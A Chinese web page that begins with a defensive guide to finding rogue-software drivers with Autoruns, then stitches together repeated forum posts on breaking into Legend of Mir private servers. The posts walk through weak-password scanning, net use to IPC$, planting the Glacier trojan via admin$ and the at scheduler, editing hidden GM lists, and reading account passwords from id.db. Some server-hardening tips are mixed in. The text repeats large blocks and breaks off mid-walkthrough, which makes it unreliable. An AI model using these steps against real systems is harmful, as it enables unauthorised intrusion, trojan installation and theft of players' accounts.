用Autoruns揪出流氓軟件的驅動保護
[ 2007-03-25 03:07:18 | 作者: sun ]
一、為什么流氓軟件總是刪不掉?
經常有網友發貼子說文件刪除不掉,或者流氓軟件清除不了,或者刪除了相關的文件,但是馬上它又出現了。現在流氓軟件為了保護自己,采取的手段是五花八門,無所不用其極:進程保護,交叉感染,自啟動,自我恢復,文件隱藏,進程注入,驅動保護。
到目前為止,所有流氓軟件最終極、最有效的保護辦法還是底層驅動級的保護,一般就是在drivers目錄下增加一個或多個.sys文件(我也見過一個用rundll32來運行一個.dll作為驅動的),但本質上這個都會在Windows的HKLM\SYSTEM\CurrentControlSet\Services\下建一個相關的值,如CNNIC建立的就是HKLM\SYSTEM\CurrentControlSet\Services\cdnprot,并且將啟動級別做得很高,在安全模式下也會自動啟動。這個底層的驅動過濾所有的文件以及注冊表操作,如果發現是對流氓軟件自己的文件/注冊表操作,就會直接返回一個true,如果發覺文件被刪除,就會通過備份或者網絡來下載恢復。它們的保護措施已經做到這一級,普通用戶根本沒有辦法刪除相關的文件,一般都需要重啟到DOS系統下去刪除文件。
這也是很多網友提的為什么文件刪除不掉,或者刪除了,重啟之后,一會兒又出現了,陰魂不散的原因。下面我們的要做的,就是找出來這些流氓軟件的后臺的驅動保護。
二、為什么找出驅動保護很困難?
Windows的驅動文件一般位于system32\drivers目錄下,以.sys文件方式存在,通過注冊表的HKLM\SYSTEM\CurrentControlSet\Services\的方式來啟動,有一部分屬于服務的,可以在Windows的服務的MMC控制窗口里看到。但如果是驅動,則在這里看不到。Windows正式情況下,那個drivers目錄下有200個左右的文件,如果偷偷往這個下面塞一個.sys文件,是很難發現的。象著名的3721這類cnsminkp.sys,CNNIC的cdnprot.sys比較容易認識,但現在的很多軟件的名字都是不固定的,或者是隨機生成的,這樣的辨識的難度就很大。我曾經用過的方式有:
1、通過保存文件列表,時常自己手工比較這兩個文件,看前后差別多出來的文件肯定有問題
2、通過文件生成的日期。(這點流氓軟件也想到了,日期也只能作為參考)
3、通過文件的屬性里在的公司信息。早年還行,現在越來越多的流氓軟件的驅動冒充是M$的,有的連英文單詞都寫錯了。
4、通過文件夾監視工具。
上面這四種都有一定的缺陷,只能作為參考,都不是太好。并且現在有一些軟件通過文件系統隱藏,這些驅動文件,通過資源管理器,根本連看都看不到。
三、如何找出可疑驅動來?
難道沒有更好的辦法嗎?有,應該有的,這個就是我們今天要介紹的主角:Autoruns
介紹:Autoruns是著名的sysinternals出品的一款小軟件,它的主要功能是列出系統自啟動的項目。通過它,你可以輕易查看到所有系統可能啟動的地方,非常的全面。跟流氓軟件相關的是“Services(服務)",“LSA Providers(LSA提供者)”、"Winsock Providers(Winsock提供者)",“Drivers(驅動)“。下面重點介紹Drivers這一部分的功能。
運行Autoruns之后,在它的“Options(選項)”菜單中有兩項“Verifiy Code Signatures(驗證代碼簽名)“Hide Signed Microsoft Entries(隱藏已簽名的微軟項)“,把這兩項都選中了。驗證代碼簽名是指驗證所有dirvers下的.sys文件的文件簽名。Windows下的硬件有一個簽名的功能,它是為了保證所有的驅動文件是經過M$測試,符合HAL兼容性。隱藏已簽名的微軟項,就是把那些合法的隱藏起來。不然200多個,會看著發暈的。
這樣Autoruns就會檢查所有已經注冊成為驅動的項,并且檢查所有的.sys的文件數字簽名。所有假冒的或者沒有通過代碼簽名的項,都會在這里列出來。也就可以很容易判斷這個驅動是不是有問題了。如果有問題的話,可能通過冰刃把里面相關的注冊表鍵值刪除,重啟機器,這樣驅動保護就失效了,然后可以通過文件刪除工具來刪除其它的文件,完成最后的清理工作。
四、總結
最后再總結一下:
1、流氓軟件刪除不掉或者死灰復燃,很多時候是因為有驅動或服務保護
2、通過Autoruns找到這些可疑的驅動
3、通過冰刃刪除相關驅動健值或者直接用文件粉碎器刪除相關的.sys文件,重啟驅動就無效
4、清理其它文件,完成善后工作。
以上方法通過各種測試是證明有效的,但不排除將來有更進一步的隱藏手段來躲避Autoruns的檢查。但原理是一樣的。不過是通過程序來減少工作量。
經常有網友發貼子說文件刪除不掉,或者流氓軟件清除不了,或者刪除了相關的文件,但是馬上它又出現了。現在流氓軟件為了保護自己,采取的手段是五花八門,無所不用其極:進程保護,交叉感染,自啟動,自我恢復,文件隱藏,進程注入,驅動保護。
到目前為止,所有流氓軟件最終極、最有效的保護辦法還是底層驅動級的保護,一般就是在drivers目錄下增加一個或多個.sys文件(我也見過一個用rundll32來運行一個.dll作為驅動的),但本質上這個都會在Windows的HKLM\SYSTEM\CurrentControlSet\Services\下建一個相關的值,如CNNIC建立的就是HKLM\SYSTEM\CurrentControlSet\Services\cdnprot,并且將啟動級別做得很高,在安全模式下也會自動啟動。這個底層的驅動過濾所有的文件以及注冊表操作,如果發現是對流氓軟件自己的文件/注冊表操作,就會直接返回一個true,如果發覺文件被刪除,就會通過備份或者網絡來下載恢復。它們的保護措施已經做到這一級,普通用戶根本沒有辦法刪除相關的文件,一般都需要重啟到DOS系統下去刪除文件。
這也是很多網友提的為什么文件刪除不掉,或者刪除了,重啟之后,一會兒又出現了,陰魂不散的原因。下面我們的要做的,就是找出來這些流氓軟件的后臺的驅動保護。
二、為什么找出驅動保護很困難?
Windows的驅動文件一般位于system32\drivers目錄下,以.sys文件方式存在,通過注冊表的HKLM\SYSTEM\CurrentControlSet\Services\的方式來啟動,有一部分屬于服務的,可以在Windows的服務的MMC控制窗口里看到。但如果是驅動,則在這里看不到。Windows正式情況下,那個drivers目錄下有200個左右的文件,如果偷偷往這個下面塞一個.sys文件,是很難發現的。象著名的3721這類cnsminkp.sys,CNNIC的cdnprot.sys比較容易認識,但現在的很多軟件的名字都是不固定的,或者是隨機生成的,這樣的辨識的難度就很大。我曾經用過的方式有:
1、通過保存文件列表,時常自己手工比較這兩個文件,看前后差別多出來的文件肯定有問題
2、通過文件生成的日期。(這點流氓軟件也想到了,日期也只能作為參考)
3、通過文件的屬性里在的公司信息。早年還行,現在越來越多的流氓軟件的驅動冒充是M$的,有的連英文單詞都寫錯了。
4、通過文件夾監視工具。
上面這四種都有一定的缺陷,只能作為參考,都不是太好。并且現在有一些軟件通過文件系統隱藏,這些驅動文件,通過資源管理器,根本連看都看不到。
三、如何找出可疑驅動來?
難道沒有更好的辦法嗎?有,應該有的,這個就是我們今天要介紹的主角:Autoruns
介紹:Autoruns是著名的sysinternals出品的一款小軟件,它的主要功能是列出系統自啟動的項目。通過它,你可以輕易查看到所有系統可能啟動的地方,非常的全面。跟流氓軟件相關的是“Services(服務)",“LSA Providers(LSA提供者)”、"Winsock Providers(Winsock提供者)",“Drivers(驅動)“。下面重點介紹Drivers這一部分的功能。
運行Autoruns之后,在它的“Options(選項)”菜單中有兩項“Verifiy Code Signatures(驗證代碼簽名)“Hide Signed Microsoft Entries(隱藏已簽名的微軟項)“,把這兩項都選中了。驗證代碼簽名是指驗證所有dirvers下的.sys文件的文件簽名。Windows下的硬件有一個簽名的功能,它是為了保證所有的驅動文件是經過M$測試,符合HAL兼容性。隱藏已簽名的微軟項,就是把那些合法的隱藏起來。不然200多個,會看著發暈的。
這樣Autoruns就會檢查所有已經注冊成為驅動的項,并且檢查所有的.sys的文件數字簽名。所有假冒的或者沒有通過代碼簽名的項,都會在這里列出來。也就可以很容易判斷這個驅動是不是有問題了。如果有問題的話,可能通過冰刃把里面相關的注冊表鍵值刪除,重啟機器,這樣驅動保護就失效了,然后可以通過文件刪除工具來刪除其它的文件,完成最后的清理工作。
四、總結
最后再總結一下:
1、流氓軟件刪除不掉或者死灰復燃,很多時候是因為有驅動或服務保護
2、通過Autoruns找到這些可疑的驅動
3、通過冰刃刪除相關驅動健值或者直接用文件粉碎器刪除相關的.sys文件,重啟驅動就無效
4、清理其它文件,完成善后工作。
以上方法通過各種測試是證明有效的,但不排除將來有更進一步的隱藏手段來躲避Autoruns的檢查。但原理是一樣的。不過是通過程序來減少工作量。
前幾天,本私服也同樣遭受過黑客的攻擊!但是研究了幾次發現了漏洞的所在!
下面我先寫如何入侵計算機的,我用的是WINDOWS 2000 SEVER
1 X-SCAN掃描IP 看看誰是弱口令(IP也非常容易得到,私服都有,弱口令就是用戶名和密碼都是系統默認的,沒有改。)
2 打開DOS系統 在DOS下進行*作!
c:/>net use \\192.168.0.1\ipc$ /user:administrator 進入對方計算機USER進入的就是管理員用戶。
進入了以后就好辦了,可以找你要黑的私服!做GM也好,搞破壞刪除也好,比如做GM吧!
c:/>copy \\192.168.0.1\d$\mirserver\mir200\envir\adminlist.txt 都是命令,可以看出來,其余的想怎么改就憑你了,但是我得解釋一下!!這段代碼目的很簡單就是將D盤拷貝一個傳奇GM的列表,你可以把你自己添加進去在編輯!
c:\>edit \\192.168.0.1\d$\mirserver\mir200\envir\adminlist.txt
這樣就可以了。這是利用弱口令進入計算機的方法!!當然了還有更多的方法。
我在講講我的 ** 傳奇的遭黑的經歷!
首先,就是鼠標亂動,很明顯就是被人控制了,分析如下:1,中木馬,2遠程控制!
其次,有文件覆蓋的對話框,計算機被突然重新啟動!!分析如下:1,破壞系統,2,對傳奇的控制!3,從新啟動是為了黑客的設置生效!
再次,有非法GM制造物品,以被查出。分析如下:是針對傳奇而來!
解決辦法:用殺毒軟件殺毒,最好在DOS下進行!2,是2000的漏洞太多,查找無用的端口,并關閉3389等,下載 2000 SP3 的補丁!在控制面板中選本地用戶和組中關閉GUEST帳號!和 IUSR (計算機名)INTNERNET來賓帳號關閉(我的傳奇就是黑客利用這個號進入計算機的),修改超級管理員用戶名與密碼! 在關閉遠程訪問等功能,另外,進攻傳奇主要是GM列表,我同樣也中過,現象是這樣的,打開AdminList.txt文件,沒有發現多的GM,利用CTRL-A看看有沒有多余的GM,另外仔細一看,在看AdminList.TXT的文件名后面有沒有空格,設置文件全部顯示,會發現是否多了一個隱藏GM列表文件,這也是屢進不止的發現有非法GM的原因.黑客進攻我的計算機是用了2個小時就被我發現了,立即做了相應的修改,恢復了傳奇的正常運行,至今為止,仍然有人進入我的來賓帳號的警告,但是已經進不來了!傳奇也步入了正常的運行當中!
face=Verdana> 雖然我寫了一些如何進攻和防御計算機的方法和解決辦法,我自己也覺得有點自相矛盾的想法,但是我的目的很是簡單,希望能夠幫助你解決你的問題!提高自己計算機的安全
如何在別人的私服做GM?
攻擊初級教學
我在侵入別人4f所使用的方法
看到有些4f做的不錯,但是進去又不是很有錢,也沒裝備,高手也很多,一直不喜歡在里面當菜鳥的我,一口氣進入他們的服務器端大鬧一番之后。當足了gm的癮,現在我把方法公布與大家。。。。
其實我所使用的方法很簡單,只有4個工具:
(一):shed.exe
(二)流光2000
(三)cmd.exe (其實就是2000下的dos啦)!
(四)冰河8.4 操作系統:win2000 server 或者winxp系統。 “shed.exe”:其實就是用來網上查共享資源的,速度快,可以查到很多服務斷的共項文件,不過在這里面有些ip在瀏覽器中無法訪問,這是因為其中也包含了個人上網的ip.呵呵!一些作網站,網吧的服務器一些目錄都是共享的,有些是可以訪問,但是不能刪除,因為你所訪問的都是以匿名訪問的,所以權限不夠!有些需要密碼。遇到密碼怎辦?用流光! “流光”雖說對202作了限制,但是對小日本的ip可是沒有限制的,呵呵!所以說使用流光的ipc探測,建立一個空對話,查到用戶列表,然后先簡單探測,此時有些網管懶惰,把administrator設置的過于簡單,呵呵,你就可以抓到了。
下一步如何做呢?也許在你查對方的端口時發現對方開的端口很少,比如ftp沒開,怎辦呢?冰河! “冰河”,想必許多朋友都玩過,使用冰河控制一臺服務器速度很快,(因為服務器那邊帶寬很大)幾分鐘就可以查到對方主機的主頁所在位置。但是如何上傳并且控制他呢? “cmd.exe” 是2000下的dos了,執行cmd.exe 使用net命令,
具體操作如下:
第一步:net use \\ip\ipc$ “password” /user:”user” 說明:以一個超級用戶名與你想黑的網站建立聯接,當然超級用戶必須是該網站admin里的。這里的”ip”就是主機了,“password”就是超級用戶的密碼,“user”就是超級用戶。比如:net use \\210.248.250.2\ipc$ “maozhiie” /user:maozhijie
第二步:copy g-server.exe \\ip\admin$\system32 說明:g-server.exe就是冰河的遠程服務器端。意義:將此文件拷貝到對方的主機winnt里的system32目錄里。也許有人要問木馬侵入對方那邊可以察覺出來的吧,呵呵!裝了防火墻估計可以,不過很多主機沒錢買呀!不像中國盜版滿天飛!如果你有最新的木馬也可以的!這是最好的了!!嘿嘿……
第三步:net time \\ip 察看對方的服務器時間。由于有時差,應該是一個小時吧!所以必須要以對方的服務器時間為準。
第四步:at \\ip time g-server.exe 這里的time就是對方的主機時間。作用:在規定時間執行該程序。比如 at \\210.248.250.2 19:55 g-server.exe 第五步:冰河就可以控制該電腦了。這個我就不說了吧,呵呵!菜鳥也會玩的軟件。
這時我們就可以控制服務器了,
net use * \\ip\*$ 遠程映射
看這個
mir.db里面有每個人的數據,并且沒加密的,大家可以用
access找開來改一下,改幾個極品,如0-80攻的木劍啊,0-50魔的六角戒指之類的,那就隨你的便了。只是這樣也太煩人了。呵呵。
比如武器,數據格式如下(全部是16進制)
** ** ** ** ce 00 43 12 88 13 01 02 03 04 05 06 07 08 09 00 00 0a
前面**的是物品代碼,然后0xce 00 是武器代碼(高位在后),和物品db數據庫中對應,
例:物品數據庫中屠龍是序號(idx)是205,對應到這里就是(205+1)轉為16進制是ce
后面的 43 12是當前持久度,88 13是最大持久度。
例:43 12換算成十進制為17170,持久度為17
后面的01 02 03依次是攻擊、魔法、道術。
注意是在原武基礎上增加。
例:上面的屠龍顯示出來是攻擊:5-36,道術:0-2,魔法:0-3。
后面的04 05 06 07 08 09依次是武器的 幸運、詛咒、準確、攻擊速度、強度。
后面兩個空位后緊跟的0x0a是表示武器是否被修煉,具體來說
給武器加攻擊時:
修煉前:00
修煉后:0a
試驗成功后:00,攻擊值增加。
對于首飾和衣服,自己研究吧,這有好多人都知道的吧,我沒細寫。網上這方面的文章是有的,我就不用多說了吧?
然后到, mirserver\mud2\logsrv\iddb下
這里有個id.db所有人的帳號和密碼都在了,你看著辦吧,不過偷人家的號也不是什么光榮的事,我是從來不做的,只是常常會拿gm的號來reload一下。呵呵
這里,我把你邊走邊看加到這個服務器的adminlist,呵呵,這里是打個比方,這里加入你的名字),然后,我們到mir.db中找出gm的帳號,再到id.db中找出這個帳號的密碼。好了,ok了,用gm號進入游戲(進之前m一下他啊,不要讓人家發現了,也不要改人家的密碼,讓人家發現了多不好啊,呵呵)。打命令@reloadadmin。立刻out吧。
然后,把你加入adminlist的人物從adminlist里刪除,好了,你進去游戲吧,你是gm了,可是真正的gm是不會從服務器端看到你的名字呢!!他也許在想“這里怎么了啊?好像還有個gm???”。呵呵,不過不要過火了,不然人家一個reload你的權限就沒了啊。
到這里大家做gm的夢就完成了,下面我說的就是怎么遠程控制服務器主機了,比如給他關機啊重啟啊····
私服技術我是一點都不懂。不過服務器安全方面還是略懂一二哦!
服務器入侵主要靠的是帳號與密碼。大家要先明白什么是系統帳號。什么是系統密碼!
其它WINDOWS每一個系統都有著他的超級管理員帳號與密碼!
一但這些被黑客掃描到的話,哪么你將會得到一個恐怕的威脅!
當你私服是人氣高的時候。給黑客入侵的話,哪要是萬一給刪了數據。到時候。真的是慘不忍堵。
一:了解一下帳號的含義
先運行CMD
然后輸入:net user(回車健)
這樣后,會顯示一例帳號
再查看管理員帳號
輸入:net localgroup administrators
這就是查看administrators組的用戶。這樣的話若是人家用隱藏帳號的方法也會查出來!
系統自帶的超級管理員帳號是administrator
記住這里顯示出來多個帳號不明的帳號。哪就證明你機器不安全了。若出現在的帳號都是你自已的帳號。哪百分之四十你機器未被入侵
帳號安全:
二:密碼篇
你若覺得自已的帳號密碼是123456哪么不出三秒人家就到你機上一游了。
修改密碼方法,在DOS下修改更安全
輸入net user 帳號名 需修改密碼(然后回車健)
一般密碼設復雜一點!
溢出:
2000服務器版裝下去會自動裝IIS的,若你覺得IIS沒有什么用就停止。IIS地址:開始》》程序》》管理工具》》Internet信息服務(這個就是IIS)你將他開啟。上面按停止!這樣就進一步安全了。不過若IIS你需要用的話,哪么記得打目前最新的補丁SP4哦。
RPC溢出。大家記住,試試telnet IP 135看看有沒有開著。若是開著。請打RPC補丁。若找不到。干脆裝個防火墻,將135端屏蔽!
大家千萬要記住。入侵系統最關點的就是要帳號密碼。保護好自已帳號與密碼。安全一定屬于你!
入侵傳奇私服/充當非法GM
首先,我得聲明,我寫本文并不是教大家如何去黑4f,只是想以本文引起廣大4f擁有者的注意
,提高自己的網管水平。
我愛玩游戲,但卻玩得很菜,也沒有時間去玩,只想玩著過癮,所以,當我開始玩傳奇時,
雖覺得是好玩,但玩盛大的簡直是在受罪,升級慢,沒好裝備,處處受人欺負。所以,4f是明
智的選擇,但進去時也沒有好裝備,也是受人欺負,難道我不可以做gm?試試,folling me!
找來一大堆4f的ip,開個x-scan掃吧。有了,還真不少,都是弱口令的,這些網管真菜呀。
選好一個,192.168.0.1,go!
打開cmd,
1)c:/>net use 192.168.0.1ipc$ /user:administrator
連接成功,
ok,連上了,成功在望,
2)c:/>copy 192.168.0.1d$mirservermir200enviradminlist.txt
系統找不到指定的文件。
沒有?不可能吧?唔,一定是隱藏了,沒關系,再來,
3)c:>attrib -r -h 192.168.0.1d$mirservermir200enviradminlist.txt
沒有提示,成功了,
這次連復制也不用了,直接改吧,
4)c:>edit 192.168.0.1d$mirservermir200enviradminlist.txt
會打開個介面,看看里面有哪些gm,加個吧,自己記得就行了,改完保存退出
5)c:>attrib +r +h 192.168.0.1d$mirservermir200enviradminlist.txt
把adminilist.txt還原成只讀隱藏,
好了,大功告成,快打掃腳印吧,別讓人發現被入侵了,
現在,就等著系統重啟了,等不及的話就在第五步讓它重啟,不過這樣太危險了,還是等吧,
第二天注冊個帳號,新建個之前加的人名進去,
/who
當前150人在線
哈,我就是gm了。趕快把自己升級,
@level -1
升級成功,255級,哈哈
再造出想要的裝備,想要什么盡情造吧,
重復上面的把自己從adminlist.txt里刪了,哈哈,好裝備到手了,可以玩了
面記得有位朋友對加強對服務器安全性的解決方法進行了一系列的說明,講得非常詳細,但是我覺得還有很多需要補充的地方.微軟的系統是漏洞和補丁著稱,真正要對服務器的安全配置確實非常困難,考慮的方面也太多了.
今天先講一個方面的內容了,也算是對前面的朋友的進一步補充吧!
前面那位朋友所概述的主要是針對WIN2000系統弱口令的安全設置!他已經說得很仔細了,做到那些,口令這一關差不多了.確實在互聯網的時代,口令真的非常重要.我對國外的主機進行了一系列的測試,就拿有弱口令的系統來說,還有不少!其中也包括了不少中小型企業的WEB服務器,E-MAIL,PROXY服務器都有這種低級的錯誤!
如果說你在這方面做得非常的仔細.但你至少還要仔細研究一下你主機現在所運行的有哪些服務,這些服務代表著什么?你應該很清楚!因為現在黑客軟件,木馬工具,遠程控制軟件大多是以一種服務的形式運行在你的服務器系統里,一般的防火墻,殺毒軟件對其并沒有任何反映的.對于服務形式出現的控制工具.比較難得發現,所以你就必須在服務器里運行的哪些服務非常熟悉.對于陌生或奇怪的服務應該安全設置好.
下面我都WIN2000的WWW(IIS)服務器安全配置略講一下,WWW服務在WIN2000SERVER,ADSERVER,DATACENTERSERVER,版本中是默認安裝的,如果你不需要用2000的WWW服務的話,建議不要安裝.至于添加/刪除你可以控制面板的去掉他的安裝,或者在管理工具/服務里設置WORD WIDE WEB SERVICE啟動類型為手動/禁用
這樣的話系統就不默認啟動改服務!
如果你需要用IIS來建站宣傳一下自己的私服,你就必須按以下方法安全配置好IIS,
在IIS組件你首先要去掉你不需要的SMTP,SNNP,FTP,這樣的話你可以降低你服務器運行所占用的CPU資源,和內存使用率.然后建議你刪除你C:\INTERPUB\目錄下的所有內容!或者更改路徑.在IIS管理器中刪除默認站點,(或者刪除SCRIPTS這個虛擬目錄)因為這個目錄有可寫的權限的.在新建的WEB站點中,設置IIS的權置,必須讓它不能寫入,或運行.因為IIS是默認支持ASP腳本的.然后在IIS中刪除不需要的映射,這個很重要.如果你要支持PHP,CGI腳本的話,你還得配置好PHP.CGI的應用程序的正確映射,禁用或刪除FSO組件,(去年深圳之窗就是被人家利用FSO黑了......)如果你要使用FSO的話,最好要改名!否則的話,你給別人提供主頁上傳的話,你肯定是會被黑的。小心呀!
目前在黑客橫行的互聯網空間中,利用IIS的漏洞,提申自己的權限,而成為AD,這些只是輕而易舉的事情,這不需要花幾天的時間去暴力破解一下口令,像自己架設的WEB服務器有種情況,更是數不甚數了.關于怎利用UNICODE漏洞去提供AD權限的文章,網上太多了,我就不多講了.
這些來說應該是服務器安全防范方面的一個例子而已,真正要做到服務器的安全運行,需要你花大量的時間去摸索.因為這些來說,足以應付一些無聊的.....當然了,你如果需要WEB服務器,我還是建議你去使用AP了.他的源代碼開發,免費,安全性穩定性都比IIS強得多了.
下面我先寫如何入侵計算機的,我用的是WINDOWS 2000 SEVER
1 X-SCAN掃描IP 看看誰是弱口令(IP也非常容易得到,私服都有,弱口令就是用戶名和密碼都是系統默認的,沒有改。)
2 打開DOS系統 在DOS下進行*作!
c:/>net use \\192.168.0.1\ipc$ /user:administrator 進入對方計算機USER進入的就是管理員用戶。
進入了以后就好辦了,可以找你要黑的私服!做GM也好,搞破壞刪除也好,比如做GM吧!
c:/>copy \\192.168.0.1\d$\mirserver\mir200\envir\adminlist.txt 都是命令,可以看出來,其余的想怎么改就憑你了,但是我得解釋一下!!這段代碼目的很簡單就是將D盤拷貝一個傳奇GM的列表,你可以把你自己添加進去在編輯!
c:\>edit \\192.168.0.1\d$\mirserver\mir200\envir\adminlist.txt
這樣就可以了。這是利用弱口令進入計算機的方法!!當然了還有更多的方法。
我在講講我的 ** 傳奇的遭黑的經歷!
首先,就是鼠標亂動,很明顯就是被人控制了,分析如下:1,中木馬,2遠程控制!
其次,有文件覆蓋的對話框,計算機被突然重新啟動!!分析如下:1,破壞系統,2,對傳奇的控制!3,從新啟動是為了黑客的設置生效!
再次,有非法GM制造物品,以被查出。分析如下:是針對傳奇而來!
解決辦法:用殺毒軟件殺毒,最好在DOS下進行!2,是2000的漏洞太多,查找無用的端口,并關閉3389等,下載 2000 SP3 的補丁!在控制面板中選本地用戶和組中關閉GUEST帳號!和 IUSR (計算機名)INTNERNET來賓帳號關閉(我的傳奇就是黑客利用這個號進入計算機的),修改超級管理員用戶名與密碼! 在關閉遠程訪問等功能,另外,進攻傳奇主要是GM列表,我同樣也中過,現象是這樣的,打開AdminList.txt文件,沒有發現多的GM,利用CTRL-A看看有沒有多余的GM,另外仔細一看,在看AdminList.TXT的文件名后面有沒有空格,設置文件全部顯示,會發現是否多了一個隱藏GM列表文件,這也是屢進不止的發現有非法GM的原因.黑客進攻我的計算機是用了2個小時就被我發現了,立即做了相應的修改,恢復了傳奇的正常運行,至今為止,仍然有人進入我的來賓帳號的警告,但是已經進不來了!傳奇也步入了正常的運行當中!
face=Verdana> 雖然我寫了一些如何進攻和防御計算機的方法和解決辦法,我自己也覺得有點自相矛盾的想法,但是我的目的很是簡單,希望能夠幫助你解決你的問題!提高自己計算機的安全
如何在別人的私服做GM?
攻擊初級教學
我在侵入別人4f所使用的方法
看到有些4f做的不錯,但是進去又不是很有錢,也沒裝備,高手也很多,一直不喜歡在里面當菜鳥的我,一口氣進入他們的服務器端大鬧一番之后。當足了gm的癮,現在我把方法公布與大家。。。。
其實我所使用的方法很簡單,只有4個工具:
(一):shed.exe
(二)流光2000
(三)cmd.exe (其實就是2000下的dos啦)!
(四)冰河8.4 操作系統:win2000 server 或者winxp系統。 “shed.exe”:其實就是用來網上查共享資源的,速度快,可以查到很多服務斷的共項文件,不過在這里面有些ip在瀏覽器中無法訪問,這是因為其中也包含了個人上網的ip.呵呵!一些作網站,網吧的服務器一些目錄都是共享的,有些是可以訪問,但是不能刪除,因為你所訪問的都是以匿名訪問的,所以權限不夠!有些需要密碼。遇到密碼怎辦?用流光! “流光”雖說對202作了限制,但是對小日本的ip可是沒有限制的,呵呵!所以說使用流光的ipc探測,建立一個空對話,查到用戶列表,然后先簡單探測,此時有些網管懶惰,把administrator設置的過于簡單,呵呵,你就可以抓到了。
下一步如何做呢?也許在你查對方的端口時發現對方開的端口很少,比如ftp沒開,怎辦呢?冰河! “冰河”,想必許多朋友都玩過,使用冰河控制一臺服務器速度很快,(因為服務器那邊帶寬很大)幾分鐘就可以查到對方主機的主頁所在位置。但是如何上傳并且控制他呢? “cmd.exe” 是2000下的dos了,執行cmd.exe 使用net命令,
具體操作如下:
第一步:net use \\ip\ipc$ “password” /user:”user” 說明:以一個超級用戶名與你想黑的網站建立聯接,當然超級用戶必須是該網站admin里的。這里的”ip”就是主機了,“password”就是超級用戶的密碼,“user”就是超級用戶。比如:net use \\210.248.250.2\ipc$ “maozhiie” /user:maozhijie
第二步:copy g-server.exe \\ip\admin$\system32 說明:g-server.exe就是冰河的遠程服務器端。意義:將此文件拷貝到對方的主機winnt里的system32目錄里。也許有人要問木馬侵入對方那邊可以察覺出來的吧,呵呵!裝了防火墻估計可以,不過很多主機沒錢買呀!不像中國盜版滿天飛!如果你有最新的木馬也可以的!這是最好的了!!嘿嘿……
第三步:net time \\ip 察看對方的服務器時間。由于有時差,應該是一個小時吧!所以必須要以對方的服務器時間為準。
第四步:at \\ip time g-server.exe 這里的time就是對方的主機時間。作用:在規定時間執行該程序。比如 at \\210.248.250.2 19:55 g-server.exe 第五步:冰河就可以控制該電腦了。這個我就不說了吧,呵呵!菜鳥也會玩的軟件。
這時我們就可以控制服務器了,
net use * \\ip\*$ 遠程映射
看這個
mir.db里面有每個人的數據,并且沒加密的,大家可以用
access找開來改一下,改幾個極品,如0-80攻的木劍啊,0-50魔的六角戒指之類的,那就隨你的便了。只是這樣也太煩人了。呵呵。
比如武器,數據格式如下(全部是16進制)
** ** ** ** ce 00 43 12 88 13 01 02 03 04 05 06 07 08 09 00 00 0a
前面**的是物品代碼,然后0xce 00 是武器代碼(高位在后),和物品db數據庫中對應,
例:物品數據庫中屠龍是序號(idx)是205,對應到這里就是(205+1)轉為16進制是ce
后面的 43 12是當前持久度,88 13是最大持久度。
例:43 12換算成十進制為17170,持久度為17
后面的01 02 03依次是攻擊、魔法、道術。
注意是在原武基礎上增加。
例:上面的屠龍顯示出來是攻擊:5-36,道術:0-2,魔法:0-3。
后面的04 05 06 07 08 09依次是武器的 幸運、詛咒、準確、攻擊速度、強度。
后面兩個空位后緊跟的0x0a是表示武器是否被修煉,具體來說
給武器加攻擊時:
修煉前:00
修煉后:0a
試驗成功后:00,攻擊值增加。
對于首飾和衣服,自己研究吧,這有好多人都知道的吧,我沒細寫。網上這方面的文章是有的,我就不用多說了吧?
然后到, mirserver\mud2\logsrv\iddb下
這里有個id.db所有人的帳號和密碼都在了,你看著辦吧,不過偷人家的號也不是什么光榮的事,我是從來不做的,只是常常會拿gm的號來reload一下。呵呵
這里,我把你邊走邊看加到這個服務器的adminlist,呵呵,這里是打個比方,這里加入你的名字),然后,我們到mir.db中找出gm的帳號,再到id.db中找出這個帳號的密碼。好了,ok了,用gm號進入游戲(進之前m一下他啊,不要讓人家發現了,也不要改人家的密碼,讓人家發現了多不好啊,呵呵)。打命令@reloadadmin。立刻out吧。
然后,把你加入adminlist的人物從adminlist里刪除,好了,你進去游戲吧,你是gm了,可是真正的gm是不會從服務器端看到你的名字呢!!他也許在想“這里怎么了啊?好像還有個gm???”。呵呵,不過不要過火了,不然人家一個reload你的權限就沒了啊。
到這里大家做gm的夢就完成了,下面我說的就是怎么遠程控制服務器主機了,比如給他關機啊重啟啊····
私服技術我是一點都不懂。不過服務器安全方面還是略懂一二哦!
服務器入侵主要靠的是帳號與密碼。大家要先明白什么是系統帳號。什么是系統密碼!
其它WINDOWS每一個系統都有著他的超級管理員帳號與密碼!
一但這些被黑客掃描到的話,哪么你將會得到一個恐怕的威脅!
當你私服是人氣高的時候。給黑客入侵的話,哪要是萬一給刪了數據。到時候。真的是慘不忍堵。
一:了解一下帳號的含義
先運行CMD
然后輸入:net user(回車健)
這樣后,會顯示一例帳號
再查看管理員帳號
輸入:net localgroup administrators
這就是查看administrators組的用戶。這樣的話若是人家用隱藏帳號的方法也會查出來!
系統自帶的超級管理員帳號是administrator
記住這里顯示出來多個帳號不明的帳號。哪就證明你機器不安全了。若出現在的帳號都是你自已的帳號。哪百分之四十你機器未被入侵
帳號安全:
二:密碼篇
你若覺得自已的帳號密碼是123456哪么不出三秒人家就到你機上一游了。
修改密碼方法,在DOS下修改更安全
輸入net user 帳號名 需修改密碼(然后回車健)
一般密碼設復雜一點!
溢出:
2000服務器版裝下去會自動裝IIS的,若你覺得IIS沒有什么用就停止。IIS地址:開始》》程序》》管理工具》》Internet信息服務(這個就是IIS)你將他開啟。上面按停止!這樣就進一步安全了。不過若IIS你需要用的話,哪么記得打目前最新的補丁SP4哦。
RPC溢出。大家記住,試試telnet IP 135看看有沒有開著。若是開著。請打RPC補丁。若找不到。干脆裝個防火墻,將135端屏蔽!
大家千萬要記住。入侵系統最關點的就是要帳號密碼。保護好自已帳號與密碼。安全一定屬于你!
入侵傳奇私服/充當非法GM
首先,我得聲明,我寫本文并不是教大家如何去黑4f,只是想以本文引起廣大4f擁有者的注意
,提高自己的網管水平。
我愛玩游戲,但卻玩得很菜,也沒有時間去玩,只想玩著過癮,所以,當我開始玩傳奇時,
雖覺得是好玩,但玩盛大的簡直是在受罪,升級慢,沒好裝備,處處受人欺負。所以,4f是明
智的選擇,但進去時也沒有好裝備,也是受人欺負,難道我不可以做gm?試試,folling me!
找來一大堆4f的ip,開個x-scan掃吧。有了,還真不少,都是弱口令的,這些網管真菜呀。
選好一個,192.168.0.1,go!
打開cmd,
1)c:/>net use 192.168.0.1ipc$ /user:administrator
連接成功,
ok,連上了,成功在望,
2)c:/>copy 192.168.0.1d$mirservermir200enviradminlist.txt
系統找不到指定的文件。
沒有?不可能吧?唔,一定是隱藏了,沒關系,再來,
